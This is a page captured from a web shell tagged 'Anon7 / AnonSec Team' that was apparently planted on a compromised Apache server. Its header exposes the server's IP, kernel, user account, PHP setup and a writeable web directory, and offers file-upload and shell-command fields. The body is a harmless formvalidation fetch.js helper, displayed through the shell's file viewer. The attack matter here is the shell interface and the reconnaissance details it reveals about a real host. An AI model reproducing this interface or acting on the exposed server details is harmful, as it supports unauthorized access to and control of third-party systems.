NG1NDEX
Server IP : 150.95.80.236  /  Your IP : 18.218.189.173
Web Server : Apache
System : Linux host-150-95-80-236 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : social-telecare ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/pcu.in.th/uat.pcu.in.th/demo15/src/plugins/formvalidation/dist/amd/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/vhosts/pcu.in.th/uat.pcu.in.th/demo15/src/plugins/formvalidation/dist/amd/utils/fetch.js
define(["require", "exports"], function (require, exports) {
    "use strict";
    Object.defineProperty(exports, "__esModule", { value: true });
    function fetch(url, options) {
        var toQuery = function (obj) {
            return Object.keys(obj)
                .map(function (k) { return encodeURIComponent(k) + "=" + encodeURIComponent(obj[k]); })
                .join('&');
        };
        return new Promise(function (resolve, reject) {
            var opts = Object.assign({}, {
                crossDomain: false,
                headers: {},
                method: 'GET',
                params: {},
            }, options);
            var params = Object.keys(opts.params)
                .map(function (k) { return encodeURIComponent(k) + "=" + encodeURIComponent(opts.params[k]); })
                .join('&');
            var hasQuery = url.indexOf('?');
            var requestUrl = 'GET' === opts.method ? "" + url + (hasQuery ? '?' : '&') + params : url;
            if (opts.crossDomain) {
                var script_1 = document.createElement('script');
                var callback_1 = "___fetch" + Date.now() + "___";
                window[callback_1] = function (data) {
                    delete window[callback_1];
                    resolve(data);
                };
                script_1.src = "" + requestUrl + (hasQuery ? '&' : '?') + "callback=" + callback_1;
                script_1.async = true;
                script_1.addEventListener('load', function () {
                    script_1.parentNode.removeChild(script_1);
                });
                script_1.addEventListener('error', function () { return reject; });
                document.head.appendChild(script_1);
            }
            else {
                var request_1 = new XMLHttpRequest();
                request_1.open(opts.method, requestUrl);
                request_1.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
                if ('POST' === opts.method) {
                    request_1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                }
                Object.keys(opts.headers).forEach(function (k) { return request_1.setRequestHeader(k, opts.headers[k]); });
                request_1.addEventListener('load', function () {
                    resolve(JSON.parse(this.responseText));
                });
                request_1.addEventListener('error', function () { return reject; });
                request_1.send(toQuery(opts.params));
            }
        });
    }
    exports.default = fetch;
});

Anon7 - 2022
AnonSec Team